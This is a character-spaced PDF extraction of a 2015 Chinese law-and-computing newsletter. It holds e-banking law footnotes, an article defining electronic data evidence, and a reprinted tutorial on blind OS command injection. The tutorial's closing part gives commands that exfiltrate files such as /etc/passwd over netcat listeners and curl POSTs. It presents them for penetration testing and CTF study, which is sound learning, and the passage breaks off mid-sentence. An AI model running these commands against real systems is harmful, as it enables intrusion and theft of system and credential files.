要 从 以 上 几 个 方 面 进 行 完 善, 健 全 电 子 银 行 法 律 法 规, 减 少 电 子 银 行 法 律 法 规 不 明 确 不 完 善 引 起 的 法 律 风 险 作 者 简 介 刘 颖 (1962 ), 男, 湖 北 武 汉 人, 暨 南 大 学 法 学 院 教 授, 博 士 生 导 师, 澳 门 科 技 大 学 法 学 院 博 士 生 导 师, 法 学 博 士, 主 要 从 事 网 络 法 电 子 商 务 法 国 际 法 金 融 法 研 究 注 释 [ 基 金 项 目 ] 广 东 省 哲 学 社 会 科 学 规 划 项 目 反 假 冒 贸 易 协 定 中 数 字 知 识 产 权 问 题 研 究 ( 批 准 号 :GD12CFX03); 司 法 部 法 治 建 设 与 法 学 理 论 研 究 部 级 科 研 项 目 网 络 银 行 监 管 法 律 问 题 研 究 ( 批 准 号 :02SFB2028) [1] 移 动 远 程 支 付, 是 指 利 用 移 动 终 端 通 过 移 动 通 信 网 络 接 入 移 动 支 付 后 台 系 统, 完 成 支 付 行 为 的 支 付 方 式 [2] 移 动 近 场 支 付, 是 通 过 移 动 终 端, 利 用 近 距 离 通 信 技 术 实 现 信 息 交 互, 完 成 支 付 的 非 接 触 式 支 付 方 式 常 见 的 近 距 离 通 信 技 术 包 括 蓝 牙 红 外 线 RFID 等, 目 前 近 距 离 无 线 通 信 (Neai Field Communication, NFC) 技 术 是 移 动 支 付 领 域 的 主 流 技 术 此 外, 通 过 外 接 读 卡 器 使 智 能 手 机 具 备 POS 终 端 刷 卡 功 能 的 类 Square 模 式, 也 被 划 分 为 近 场 支 付 范 畴 [3] See Basel Committee on Banking Supervision, Working Paper on the Regulatory Treatment of Operational Risk, September,2001, p.2. 此 操 作 风 险 的 定 义 包 括 了 部 分 法 律 风 险, 但 不 包 括 战 略 风 险 和 声 誉 风 险 本 文 依 据 巴 塞 尔 银 行 监 管 委 员 会 在 电 子 银 行 业 务 与 电 子 货 币 行 为 的 风 险 管 理 中 的 分 类, 将 法 律 风 险 作 为 一 种 单 独 的 风 险 进 行 研 究 [4] 也 有 些 学 者 将 违 反 行 业 做 法 行 业 标 准 等 软 法 纳 入 法 律 风 险 的 范 畴 参 见 张 素 华 : 网 络 银 行 风 险 监 管 法 律 问 题 研 究, 武 汉 大 学 出 版 社 2004 年 版, 第 29 页 [5] 有 关 内 容 可 参 见 刘 颖, 何 其 生 : 国 际 合 同 使 用 电 子 通 信 公 约 对 我 国 电 子 商 务 立 法 的 启 示, 载 暨 南 学 报 ( 哲 学 社 会 科 学 版 ) 2009 年 第 4 期 相 关 链 接 :

86 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 电 子 数 据 证 据 的 概 念 界 定 与 特 征 分 析 期 刊 名 称 湖 北 警 官 学 院 学 报 作 者 张 渊, 张 博 作 者 单 位 湖 北 警 官 学 院, 湖 北 警 官 学 院 中 文 关 键 词 电 子 数 据 证 据, 概 念, 特 征 文 章 编 码 (2015) 文 献 标 识 码 A 期 刊 年 份 2015 年 期 号 9 页 码 124 摘 要 人 类 社 会 已 跨 入 电 子 ( 数 字 ) 时 代, 电 子 数 据 证 据 成 为 一 种 新 的 法 定 证 据. 电 子 数 据 证 据 是 指 借 助 现 代 信 息 技 术 和 电 子 设 备 形 成 的 一 切 证 据 材 料, 或 者 以 电 子 形 式 表 现 出 来 的 能 够 证 明 案 件 事 实 的 一 切 证 据 材 料, 包 括 以 模 拟 技 术 和 数 字 技 术 生 成 的 能 够 证 明 案 件 事 实 的 一 切 证 据 电 子 数 据 证 据 具 有 可 恢 复 性 海 量 性 虚 拟 性 多 媒 体 性 国 际 性 等 基 本 特 征, 可 以 说 它 是 这 个 时 代 的 证 据 之 王 全 文 法 宝 引 证 码 CLI.A 就 司 法 证 明 方 法 的 历 史 而 言, 人 类 曾 经 从 神 证 时 代 走 入 人 证 时 代, 又 从 人 证 时 代 走 入 物 证 时 代, 也 许, 我 们 即 将 走 入 另 一 个 司 法 证 明 时 代, 即 电 子 证 据 时 代 {1} 的 确, 人 类 社 会 已 经 进 入 了 电 子 ( 数 字 ) 时 代, 相 应 的, 电 子 数 据 证 据 也 就 成 为 这 个 时 代 的 证 据 之 王 然 而, 对 什 么 是 电 子 数 据 证 据, 以 及 它 与 电 子 证 据 计 算 机 证 据 数 字 证 据 网 络 证 据 电 子 记 录 到 底 是 什 么 关 系, 学 界 鲜 有 系 统 的 论 述 本 文 拟 就 上 述 问 题 作 一 初 浅 探 讨 一 电 子 数 据 证 据 的 界 定 要 界 定 电 子 数 据 证 据, 必 须 先 分 析 比 较 以 下 几 个 类 似 的 术 语 ( 一 ) 电 子 记 录 电 子 记 录 这 一 术 语, 适 用 于 电 子 商 务 领 域, 主 要 是 从 存 储 介 质 或 存 在 形 式 方 面 进 行 描 述 一 些 国 家 对 其 作 了 界 定, 如 新 加 坡 电 子 交 易 法 规 定 : 电 子 记 录 是 指 在 信 息 系 统 之 间 或 者 信 息 系 统 中, 以 电 子 光 磁, 或 者 其 他 方 式 产 生 传 输 接 收 和 存 储 的 记 录 又 如 加 拿 大 统 一 电 子 证 据 法 规 定 : 电 子 记 录 是 指 在 计 算 机 系 统 或 者 其 他 类 似 设 备 中, 或 者 通 过 计 算 机 系 统 或 其 他 类 似 设 备, 记 录 或 保 存 在 任 何 介 质 上 的 数 据, 且 能 够 为 某 人 某 一 台 计 算 机 系 统 或 者 其 他 类 似 设 备 读 取 或 感 知 比 较 两 国 的 立 法, 不 难 发 现, 加 拿 大 关 于 电 子 记 录 的 立 法 更 为 完 善, 因 为, 相 比 新 加 坡, 加 拿 大 的 立 法 增 加 了 电 子 记 录 的 可 读 取 或 感 知, 此 外, 电 子 记 录 的 输 出 物 也 属 于 电 子 记 录 ( 此 点 试 图 解 决 英 美 法 系 之 最 佳 证 据 的 相 关 问 题 [1]) 由 此 看 来, 电 子 记 录 的 含 义 十 分 广 泛, 大 凡 与 电 子 媒 介 有 关 的 记 录, 都 属 于 电 子 记 录 我 国 法 学 界 和 法 律 界 很 少 使 用 电 子 记 录 这 个 术 语, 这 一 术 语 是 从 国 外 翻 译 过 来 的 ( 二 ) 电 子 证 据 电 子 证 据, 严 格 地 讲, 是 一 个 证 据 法 上 的 术 语 无 论 是 法 学 界, 还 是 IT 技 术 学 者, 都 喜 爱 使 用 电 子 证 据 这 一 术 语, 因 为 电 子 属 于 IT 术 语, 证 据 属 于 法 律 术 语, 两 者 的 结 合, 使 得 法 学 界 和 IT 技 术 界 的 专 家 学 者, 大 都 具 有 跨 界 越 狱 的 快 感 当 然, 除 此 之 外, 电 子 证 据 含 义 模 糊 也 是 研 究 者 感 兴 趣 的 原 因 之 一, 因 为 它 可 以 涵 盖 几 乎 所 有 的 与 电 子 有 关 的 证 据 因 此, 厘 清 电 子 证 据 的 含 义, 防 止 该 术 语 的 滥 用 成 为 当 务 之 急 广 义 的 电 子 证 据, 是 指 借 助 现 代 信 息 技 术 和 电 子 设 备 形 成 的 一 切 证 据, 或 者 以 电 子 形 式 表 现 出 来 的 能 够 证 明 案 件 事 实 的 一 切 证 据, 它 也 被 称 为 电 子 数 据 或 电 子 数 据 证 据 {2} 如 计 算 机 数 据 库 电 报 电 文 电 话 录 音 计 算 机 日 志 传 真 资 料 电 子 邮 件 电 子 数 据 交 换 光 盘 资 料 影 视 胶 片 等 {3} 在 英 国, 电 子 证 据 主 要 有 三 种 : 一 是 完 全 由 计 算 机 生 成 的 电 子 证 据, 由 于 此 类 电 子 证 据 没 有 掺 杂 人 的 任 何 意 志, 所 以 被 称 为 实 在 证 据 ; 二 是 由 计 算 机 记 录 或 复 制 人 类 输 入 信 息 而 得

87 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 来 的 资 料, 由 于 此 类 证 据 有 人 为 因 素 的 涉 入, 所 以 此 类 电 子 证 据 按 照 传 闻 证 据 规 则 来 处 理 ; 三 是 由 计 算 机 对 人 类 输 入 信 息 进 行 运 算 处 理 得 来 的 混 合 资 料, 属 于 上 述 实 在 证 据 与 传 闻 证 据 的 混 合 体 {4} 在 美 国, 相 关 判 例 认 为, 电 子 证 据 包 括 以 下 三 类 : 计 算 机 储 存 记 录 计 算 机 生 成 记 录 电 子 数 据 证 据 计 算 机 储 存 记 录 是 由 人 创 制 的 电 子 数 据, 比 如 电 子 邮 件 网 络 聊 天 等 ; 计 算 机 生 成 记 录 是 计 算 机 自 动 生 成 的 电 子 数 据, 比 如 计 算 机 日 志 电 话 记 录 等 ; 电 子 数 据 证 据 即 计 算 机 合 成 记 录, 是 由 以 上 两 类 电 子 数 据 混 合 形 成 的 电 子 数 据 证 据 {5} 狭 义 的 电 子 证 据, 是 指 以 数 字 形 式 保 存 在 计 算 机 存 储 器 上 和 外 部 存 储 设 备 中 能 够 证 明 案 件 真 实 情 况 的 数 字 化 的 数 据 {6} 广 义 的 电 子 证 据 包 括 以 模 拟 信 号 和 数 字 信 号 存 储 的 证 据, 而 狭 义 的 电 子 证 据 仅 包 含 以 数 字 信 号 存 储 的 证 据 如 果 说 在 模 拟 与 数 字 交 互 的 时 代, 我 们 使 用 电 子 证 据 还 有 情 可 原 的 话, 那 么, 在 数 字 化 统 领 地 球 村 的 今 天, 仍 然 使 用 电 子 证 据, 就 没 有 与 时 俱 进 了 ( 三 ) 数 字 证 据 美 国 的 部 分 学 者 和 相 关 机 构 认 为, 数 字 证 据 是 指 任 何 使 用 计 算 机 设 备 存 储 或 传 输 的 数 据, 用 于 反 驳 或 支 持 犯 罪 方 式 的 推 测, 或 者 用 于 查 明 犯 罪 动 机 犯 罪 现 场 等 关 键 要 素 美 国 数 字 证 据 标 准 工 作 组 认 为, 数 字 证 据 是 指 任 何 可 以 提 供 的 以 数 字 形 式 存 储 或 传 输 的 信 息 计 算 机 证 据 国 际 组 织 将 数 字 证 据 界 定 为 : 数 字 证 据 是 可 以 被 法 庭 所 接 受 的 以 二 进 制 形 式 存 储 或 传 输 的 信 息 {7} 我 们 认 为, 数 字 证 据 是 指 以 数 字 形 态 储 存 或 传 输, 并 可 作 呈 堂 证 据 使 用 的 数 字 电 子 资 讯 其 实, 数 字 证 据 属 于 狭 义 的 电 子 证 据, 即 数 字 化 的 电 子 证 据, 强 调 的 是 以 数 字 化 形 态 储 存 或 传 输 的 证 据 随 着 地 球 村 的 数 字 化, 在 数 字 化 的 世 界 里, 数 字 证 据 将 当 仁 不 让 地 成 为 新 的 证 据 之 王 {8} 比 如, 在 1996 年 马 里 兰 州 的 一 个 案 例 中, 一 个 名 叫 Lopatka 的 马 里 兰 妇 女 说 她 要 去 拜 访 朋 友 她 离 开 之 后 留 下 了 一 张 令 人 心 寒 的 字 条, 她 丈 夫 看 到 后 立 刻 报 警, 说 他 妻 子 失 踪 了 在 调 查 中, 警 察 发 现 了 上 百 封 Lopatka 和 一 个 叫 Robert Glass 的 男 子 之 间 的 电 子 邮 件, 其 中 尽 是 有 关 折 磨 和 死 亡 幻 想 的 文 字 电 子 邮 件 的 内 容 把 调 查 员 引 到 北 卡 罗 来 纳 州 Glass 的 房 车 附 近, 在 那 里 他 们 发 现 了 Lopatka 浅 浅 的 坟 墓 Lopatka 已 经 死 亡, 她 的 手 和 脚 被 捆 绑 着 Glass 供 认 了 罪 行, 说 自 己 在 性 行 为 的 过 程 中 意 外 地 将 Lopatka 杀 死 了 {9} 我 们 相 信, 在 该 案 中 如 果 警 察 没 有 获 取 数 字 证 据 ( 电 子 邮 件 ), 抓 获 嫌 犯 是 不 可 能 的 ( 四 ) 电 子 数 据 电 子 数 据 是 一 个 技 术 术 语, 是 指 基 于 计 算 机 应 用 通 信 和 现 代 管 理 技 术 等 电 子 化 技 术 手 段 而 形 成 的 包 括 文 字 图 形 符 号 数 字 字 母 等 的 客 观 资 料 电 子 数 据 可 以 分 为 模 拟 数 据 信 息 和 数 字 数 据 信 息 {10} 模 拟 信 号 具 有 连 续 性, 其 内 容 删 减 容 易 鉴 别 ; 数 字 信 号 是 离 散 的, 其 内 容 篡 改 不 留 痕 迹, 难 以 鉴 别 电 子 数 据 的 含 义 非 常 广 泛, 它 包 括 电 子 证 据 和 非 电 子 证 据, 也 包 括 模 拟 数 据 和 数 字 数 据 我 国 2012 年 修 订 的 刑 事 诉 讼 法 增 加 了 电 子 数 据 证 据 种 类 修 订 后 的 刑 事 诉 讼 法 使 用 的 是 电 子 数 据, 而 不 是 电 子 证 据, 这 有 待 商 榷 因 为 证 据 的 种 类 有 书 证 物 证 证 人 证 言 等, 都 有 一 个 证 字 ; 而 被 害 人, 犯 罪 嫌 疑 人 被 告 人, 鉴 定 人 等, 都 是 诉 讼 的 不 同 阶 段 的 参 与 人, 也 都 隐 含 着 证 人 的 含 义 唯 独 视 听 资 料 和 电 子 数 据 这 种 证 据 类 型 中 既 不 含 有 证 字, 也 不 隐 含 证 人 的 含 义 其 实, 视 听 资 料 和 电 子 数 据 更 像 是 一 个 技 术 术 语, 而 不 是 一 个 法 律 术 语 另 外, 视 听 资 料 和 电 子 数 据 必 须 经 过 查 证 属 实, 才 能 成 为 证 据, 被 法 庭 采 纳 所 以, 我 们 认 为, 为 了 与 前 面 的 证 据 类 型 在 形 式 和 内 容 上 保 持 一 致, 建 议 把 视 听 资 料 和 电 子 数 据 改 为 视 听 证 据 和 电 子 证 据, 或 者 直 接 放 弃 视 听 资 料 ( 模 拟 信 号 ), 保 留 电 子 证 据 ( 模 拟 和 数 字 信 号 ) 不 过, 随 着 模 拟 技 术 的 消 亡, 技 术 全 面 数 字 化 以 后, 电 子 证 据 也

88 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 将 被 数 字 证 据 取 代 还 有 一 个 术 语, 即 网 络 证 据, 该 术 语 主 要 是 由 IT 界 技 术 专 家 和 学 者 在 研 究 网 络 环 境 中 的 证 据 获 取 技 术 时 使 用 它 是 指 在 计 算 机 网 络 环 境 中 出 现 用 于 证 明 案 件 事 实 的 数 据 信 息, 如 IP 地 址 域 名 电 子 邮 件 等 {11} 由 于 现 在 互 联 网 络 都 已 数 字 化, 所 以 网 络 证 据 属 于 数 字 证 据 的 一 种 ( 五 ) 计 算 机 证 据 关 于 计 算 机 证 据, 虽 然 学 界 认 为, 电 子 数 据 证 据 可 以 和 计 算 机 证 据 等 同 使 用 我 们 认 为, 两 者 还 是 有 一 些 差 别 因 为 计 算 机 可 以 分 为 机 械 计 算 机 电 子 计 算 机 分 子 计 算 机 量 子 计 算 机 光 子 计 算 机 生 物 计 算 机 纳 米 计 算 机 神 经 计 算 机 等 如 果 说, 目 前 世 界 上 使 用 的 计 算 机 主 要 是 电 子 计 算 机 的 话, 我 们 将 电 子 数 据 证 据 当 作 计 算 机 证 据 未 尝 不 可 但 是, 在 电 子 计 算 机 被 其 他 新 型 计 算 机 取 代 之 后, 我 们 仍 然 混 同 使 用 电 子 数 据 证 据 和 计 算 机 证 据, 就 有 些 抱 残 守 缺 了 另 外, 由 于 计 算 机 系 统 包 括 单 机 系 统 和 网 络 系 统, 所 以 计 算 机 证 据 由 单 机 证 据 和 网 络 证 据 组 成 在 美 国 加 利 福 尼 亚 州,2003 年 Willian Grace 和 22 岁 的 Brandon Wilson 侵 入 加 利 福 尼 亚 河 滨 郡 法 院 的 计 算 机 系 统,Wilson 篡 改 并 删 除 他 以 前 的 犯 罪 记 录, 包 括 非 法 贩 毒 贩 卖 军 火 酒 后 驾 驶 等 在 被 捕 前, 他 们 撤 销 搜 查 令 拘 捕 令 等 委 任 状, 更 改 法 院 记 录 销 毁 作 案 记 录 等 等 {12} 最 终 被 告 被 判 9 年 监 禁 在 该 案 中, 两 被 告 入 侵 河 滨 郡 法 院 的 计 算 机 系 统 所 留 存 下 来 的 电 子 信 息, 就 属 于 电 子 记 录 或 电 子 数 据, 其 中 只 有 符 合 客 观 性 关 联 性 合 法 性 的 电 子 记 录 或 电 子 数 据 才 是 电 子 数 据 证 据, 如 果 当 时 的 网 络 已 经 数 字 化 的 话, 那 么 该 证 据 又 属 于 数 字 证 据 网 络 证 据, 在 被 告 的 计 算 机 上 发 现 的 入 侵 的 电 子 记 录 则 属 于 计 算 机 证 据 ( 单 机 证 据 ) 综 上 所 述, 电 子 数 据 是 以 电 子 形 式 存 在 的 数 据, 是 借 助 信 息 技 术 或 信 息 设 备 形 成 的, 能 作 为 证 据 使 用 的 证 据 {13} 电 子 记 录 的 含 义 与 电 子 数 据 基 本 等 同, 电 子 记 录 多 适 用 于 电 子 商 务 领 域, 而 电 子 数 据 多 使 用 于 技 术 领 域 电 子 数 据 包 括 模 拟 数 据 和 数 字 数 据, 与 此 相 对 应, 电 子 数 据 证 据 包 括 模 拟 电 子 证 据 和 数 字 证 据 计 算 机 证 据 包 括 单 机 证 据 和 网 络 证 据, 而 网 络 证 据 又 属 于 数 字 证 据 的 一 种 不 过, 鉴 于 目 前 模 拟 技 术 已 经 被 数 字 化 的 现 实, 我 们 认 为, 应 该 以 数 字 证 据 代 替 含 义 不 明 的 电 子 证 据 理 由 如 下 : 众 所 周 知, 到 目 前 为 止, 电 子 技 术 的 发 展 经 历 了 模 拟 信 号 和 数 字 信 号 两 个 阶 段 在 模 拟 信 号 阶 段, 证 据 法 中 增 加 了 视 听 资 料, 以 使 那 些 借 助 模 拟 信 号 记 载 的 录 音 带 录 像 带 等 模 拟 信 号 获 得 合 法 的 地 位 在 数 字 技 术 阶 段, 模 拟 信 号 中 的 视 听 资 料 已 经 无 法 涵 盖 所 有 的 数 字 证 据, 数 字 证 据 所 涵 盖 的 范 围 更 为 广 泛, 比 如 计 算 机 数 据 电 子 聊 天 记 录 数 码 摄 像 机 数 码 照 相 机 数 据 等 等 因 此 可 知, 视 听 资 料 与 数 字 证 据 都 隶 属 于 电 子 证 据, 两 者 是 电 子 技 术 发 展 的 产 物, 但 是 两 者 有 着 本 质 区 别 {14} 另 外, 对 应 媒 介 的 发 展, 人 们 对 证 据 的 认 识 大 致 经 历 了 以 下 发 展 阶 段 即 以 语 言 为 核 心 的 声 音 符 号, 如 证 人 证 言 当 事 人 的 陈 述 ; 以 文 字 为 核 心 的 语 言 文 字 符 号, 如 书 证 鉴 定 结 论 勘 验 笔 录 等 ; 以 音 像 资 料 为 核 心 的 信 息 传 播 符 号, 如 视 听 资 料 ; 媒 介 到 了 网 络 时 代, 电 子 证 据 应 运 而 生 {15} 我 们 基 本 同 意 该 学 者 根 据 媒 介 的 发 展 对 证 据 所 作 的 分 类 不 过, 有 待 商 榷 的 是, 鉴 定 结 论 勘 验 笔 录 并 非 语 言 产 生 后 出 现 的, 而 是 随 着 科 学 技 术 ( 比 如 法 医 学 ) 的 发 展 而 产 生 的 关 于 网 络 时 代 产 生 电 子 证 据 的 观 点 也 值 得 进 一 步 检 讨, 因 为 网 络 技 术 有 模 拟 和 数 字 的 区 分, 所 以 不 是 因 为 网 络 的 出 现 产 生 了 电 子 证 据, 而 是 数 字 技 术 代 替 了 模 拟 技 术, 从 而 造 就 了 数 字 证 据 二 电 子 数 据 证 据 的 基 本 特 征 正 确 认 识 电 子 数 据 证 据 这 一 概 念, 有 必 要 进 一 步 分 析 讨 论 电 子 数 据 证 据 的 独 特 性, 综 合 学 界 相 关 论 述, 我 们 认 为, 电 子 数 据 证 据 至 少 有 如 下 基 本 特 征 ( 一 ) 可 恢 复 性

89 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 可 恢 复 性 是 指 电 子 数 据 证 据 虽 然 很 容 易 被 篡 改 或 删 除, 但 是, 并 不 意 味 着 电 子 数 据 证 据 就 不 稳 定 不 安 全 因 为 电 子 数 据 证 据 在 被 篡 改 或 删 除 时, 肯 定 会 留 下 数 字 痕 迹, 电 子 数 据 鉴 定 人 员 可 以 通 过 计 算 机 恢 复 技 术 重 现 原 始 电 子 数 据, 从 而 确 保 其 完 整 与 安 全 而 其 他 证 据, 比 如 物 证 书 证 容 易 毁 损, 而 无 法 恢 复 正 是 因 为 电 子 数 据 具 有 可 恢 复 性 的 特 性, 才 使 其 具 备 证 据 资 格 所 具 有 的 客 观 性 ( 二 ) 海 量 性 海 量 性 是 指 涉 嫌 犯 罪 的 电 子 设 备 中 可 以 存 储 海 量 的 电 子 数 据 证 据 这 些 海 量 的 电 子 数 据 证 据 涵 盖 了 现 实 社 会 中 一 个 特 定 犯 罪 现 场 的 所 有 证 据, 通 过 对 这 些 海 量 的 电 子 数 据 证 据 的 分 析, 可 以 重 构 一 个 完 整 的 犯 罪 现 场 {16} 而 传 统 的 书 证 或 物 证 可 能 只 是 证 明 犯 罪 某 一 方 面 的 事 实, 而 不 是 整 个 犯 罪 现 场 特 别 是 计 算 机 犯 罪 和 网 络 犯 罪, 通 过 对 嫌 犯 使 用 过 的 计 算 机 或 登 录 的 网 络 的 搜 查, 几 乎 可 以 获 得 重 构 一 个 完 整 的 犯 罪 现 场 所 需 要 的 所 有 犯 罪 证 据 ( 三 ) 虚 拟 性 虚 拟 性 是 指 电 子 数 据 证 据 的 存 在 是 虚 拟 的, 其 保 存 和 解 读 都 得 借 助 特 定 的 电 子 设 备, 其 存 储 环 境 是 网 络 系 统 和 计 算 机 系 统, 其 以 系 统 性 作 为 其 存 储 的 主 要 方 式 {17} 而 不 像 书 证 物 证 那 样 需 要 占 据 一 定 的 物 理 空 间, 能 够 被 人 类 直 接 感 触 到 虽 然 传 统 的 证 据 也 存 在 于 一 定 的 环 境 中, 但 是, 其 存 在 的 环 境 是 真 实 的 现 实, 不 像 电 子 数 据 证 据 那 样 是 一 种 虚 拟 的 现 实 ( 四 ) 多 媒 体 性 多 媒 体 性 是 指 电 子 数 据 证 据 囊 括 了 过 去 所 有 的 证 据 类 型, 是 集 文 字 图 像 声 音 视 频 等 多 种 形 式 为 一 体 的 多 媒 体 证 据 {18} 这 种 多 媒 体 的 特 性 使 得 侦 查 人 员 能 够 从 不 同 的 角 度 重 构 犯 罪 现 场, 更 形 象 更 全 面 地 了 解 犯 罪 活 动 的 各 个 方 面 ( 五 ) 国 际 性 国 际 性 是 指 电 子 数 据 证 据 是 一 种 数 据, 而 数 据 又 是 信 息 的 一 种, 信 息 可 在 网 络 空 间 被 无 限 地 传 播, 从 而 轻 易 地 跨 越 各 国 之 司 法 管 辖 的 边 界 传 统 的 证 据 类 型 一 般 只 存 在 于 一 个 特 定 的 司 法 管 辖 地 域 ( 跨 国 犯 罪 除 外 ) 这 种 国 际 性 给 电 子 数 据 证 据 的 收 集 造 成 了 较 大 的 困 难, 也 容 易 引 起 国 际 纠 纷 比 如, 为 了 收 集 相 关 犯 罪 的 电 子 数 据 证 据 侵 入 他 国 的 计 算 机 或 网 络 因 此, 跨 国 的 网 络 犯 罪 之 电 子 数 据 证 据 的 收 集 就 需 要 国 际 合 作 三 结 论 综 上 所 述, 电 子 数 据 证 据 是 指 借 助 现 代 信 息 技 术 和 电 子 设 备 形 成 的 一 切 证 据 材 料, 或 者 以 电 子 形 式 表 现 出 来 的 能 够 证 明 案 件 事 实 的 一 切 证 据 材 料, 包 括 以 模 拟 技 术 和 数 字 技 术 生 成 的 能 够 证 明 案 件 事 实 的 一 切 证 据 电 子 数 据 证 据, 与 电 子 证 据 计 算 机 证 据 数 字 证 据 网 络 证 据 电 子 记 录, 既 有 共 同 的 属 性 和 交 叉 或 重 叠 的 内 容, 又 有 其 自 身 的 独 特 内 涵 和 外 延 电 子 记 录 的 含 义 与 电 子 数 据 基 本 等 同, 电 子 数 据 证 据 包 括 模 拟 电 子 证 据 和 数 字 证 据 计 算 机 证 据 包 括 单 机 证 据 和 网 络 证 据, 而 网 络 证 据 又 属 于 数 字 证 据 的 一 种 就 其 特 征 而 言, 电 子 数 据 证 据 拥 有 可 恢 复 性 海 量 性 虚 拟 性 多 媒 体 性 国 际 性 等 基 本 特 征 可 以 预 言 的 是, 随 着 电 子 设 备 的 数 字 化 的 完 成, 电 子 数 据 证 据 最 终 将 被 数 字 证 据 所 取 代 所 以, 我 们 建 议, 在 我 国 相 关 立 法 司 法 行 政 等 领 域, 应 以 数 字 证 据 替 代 电 子 数 据 证 据 的 表 述 责 任 编 校 : 陶 范 注 释 [1] 最 佳 证 据 规 则, 适 用 于 书 证, 是 现 代 英 美 法 系 国 家 中 关 于 文 字 材 料 可 采 性 的 一 项 重 要 证 据 规 则, 其 基 本 精 神 是 : 以 文 件 内 容 而 不 是 以 文 件 本 身 作 为 证 据 的 一 方 当 事 人, 必 须 提 出 文 件 内 容 的 原 始 证 据 相 关 链 接 : 北 大 法 宝

90 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 技 术 分 析 : 攻 击 者 是 如 何 利 用 系 统 命 令 盲 注 实 现 拖 库 的? 免 责 声 明 : 本 文 旨 在 技 术 分 享, 仅 供 安 全 学 习, 禁 止 非 法 利 用 在 渗 透 测 试 或 者 CTF 挑 战 中, 你 可 能 会 遇 到 一 个 需 要 用 户 输 入 文 本 信 息 的 应 用 程 序, 该 应 用 会 将 用 户 的 输 入 作 为 参 数 传 递 给 一 个 系 统 命 令 或 者 给 底 层 运 行 着 任 务 的 关 联 程 序 而 我 们 知 道, 如 果 没 有 对 输 入 的 信 息 进 行 校 验 或 者 过 滤, 那 么 该 应 用 就 可 能 被 利 用 来 进 行 操 作 系 统 命 令 注 入 对 于 攻 击 者 来 说, 他 可 以 通 过 注 入 漏 洞, 利 用 应 用 程 序 的 权 限 来 执 行 命 令 在 这 种 背 景 下, 目 前 我 们 在 实 际 的 应 用 案 例 中, 也 观 察 到 这 种 类 型 的 攻 击 漏 洞, 存 在 于 大 量 的 应 用 程 序 而 针 对 的 应 用 程 序 往 往 是 以 下 的 应 用 类 型, 例 如 : 可 以 发 送 邮 件 到 用 户 指 定 地 址 的 应 用 程 序 可 以 监 控 企 业 服 务 器 运 行 情 况 的 应 用 程 序 使 用 基 于 用 户 输 入 的 第 三 方 工 具 来 完 成 传 输 报 告 的 应 用 程 序 在 渗 透 测 试 或 者 CTF 中, 在 确 认 了 漏 洞 之 后, 你 可 能 开 始 对 目 标 主 机 上 感 兴 趣 的 区 域 进 行 探 测 分 析 了, 希 望 能 找 到 奖 杯 或 者 其 他 有 用 的 信 息, 如, 操 作 系 统 密 码 文 件 操 作 系 统 配 置 文 件 数 据 库 文 件 应 用 程 序 源 代 码 举 一 个 基 本 的 例 子, 通 过 注 入 Windows 命 令 type, 作 为 一 个 参 数 进 行 传 递, 去 读 取 服 务 器 上 的 一 个 文 件, 最 后 返 回 相 关 文 本 信 息 很 多 时 候, 需 要 对 正 在 执 行 的 命 令 作 中 断 可 以 想 象 一 下, 一 个 系 统 监 测 应 用 软 件, 在 监 测 主 机 存 活 状 态 时, 会 去 ping 一 个 ip 地 址, 检 测 主 机 是 否 在 线 那 么 在 系 统 的 底 层 也 会 执 行 用 户 输 入 的 IP 地 址, 如 ping c 5 xxx.xxx.xxx.xxx 如 果 在 应 用 程 序 已 经 运 行 ping 命 令 之 后, 你 还 想 运 行 其 他 命 令 的 话, 可 以 参 考 以 下 的 注 入 命 令 方 式 :

91 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 在 上 个 例 子 中, 我 们 通 过 type 命 令, 在 HTTP 响 应 之 后, 返 回 服 务 器 上 的 相 应 的 文 本 信 息 那 么 在 实 际 环 境 中, 往 往 在 注 入 命 令 之 后, 没 有 任 何 的 输 出 返 回, 那 么 展 开 注 入 的 方 式 被 称 为 操 作 系 统 命 令 盲 注 在 这 种 情 况 下 我 们 如 何 找 到 有 用 的 信 息? 下 面 将 详 细 介 绍 一 些 方 法, 可 以 无 需 上 传 web shell 到 主 机 上 NetCat 第 一 个 例 子 是 通 过 使 用 瑞 士 军 刀 netcat 来 实 现 的 相 信 对 于 诸 位 来 说,Netcat 并 不 陌 生, 甚 至 对 于 很 多 人 来 说, 用 了 许 久 仍 然 也 是 爱 不 释 手 简 单 来 说, 它 是 一 款 可 以 读 写 TCP 或 UDP 网 络 连 接 的 工 具 如 果 在 目 标 服 务 器 上 运 行 着 netcat, 那 么 你 可 以 利 用 它 来 建 立 监 听 端, 然 后 将 输 出 的 系 统 操 作 命 令 重 定 向 到 监 听 端 服 务 器 上 通 过 以 下 管 道, 将 文 件 重 定 向 到 监 听 端 上 nc l p {port} <</span> {file/to/extract} 这 样 能 从 你 的 主 机 上 连 接 到 目 标 服 务 器 上 的 监 听 端, 然 后 重 定 向 标 准 输 出 以 下 是 展 示 如 何 将 /etc/passwd 重 定 向 到 主 机 上 的

92 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 如 果 主 机 运 行 的 是 Windows 系 统, 以 及 netcat 存 在 类 似 的 攻 击 可 能, 可 以 尝 试 用 下 面 的 命 令 : type {file to extract} nc -L -p {port} curl curl 是 一 个 使 用 多 种 协 议 传 输 数 据 的 命 令 行 工 具 和 库, 是 一 个 非 常 有 用 的 数 据 库 下 载 工 具 如 果 目 标 服 务 器 有 curl, 那 么 我 们 仍 然 可 以 利 用 它 来 post 文 件 到 指 定 的 服 务 器 上 或 者 通 过 其 他 协 议 来 传 输 文 件, 如 FTP/SCP/TFTP/TELNET 等 协 议 在 你 已 经 确 认 了 一 个 系 统 操 作 命 令 注 入 漏 洞 之 后, 要 通 过 HTTP 协 议 来 传 输 文 件, 可 以 使 用 以 下 命 令 来 post 文 件 到 web 服 务 器 上 cat /path/to/file curl F :data=@- 执 行 以 上 命 令 后, 你 可 以 在 服 务 器 日 志 上 看 到 相 关 的 文 件 内 容 如 果 在 渗 透 测 试 中, 执 行 了 以 上 操 作, 同 时 需 要 web 服 务 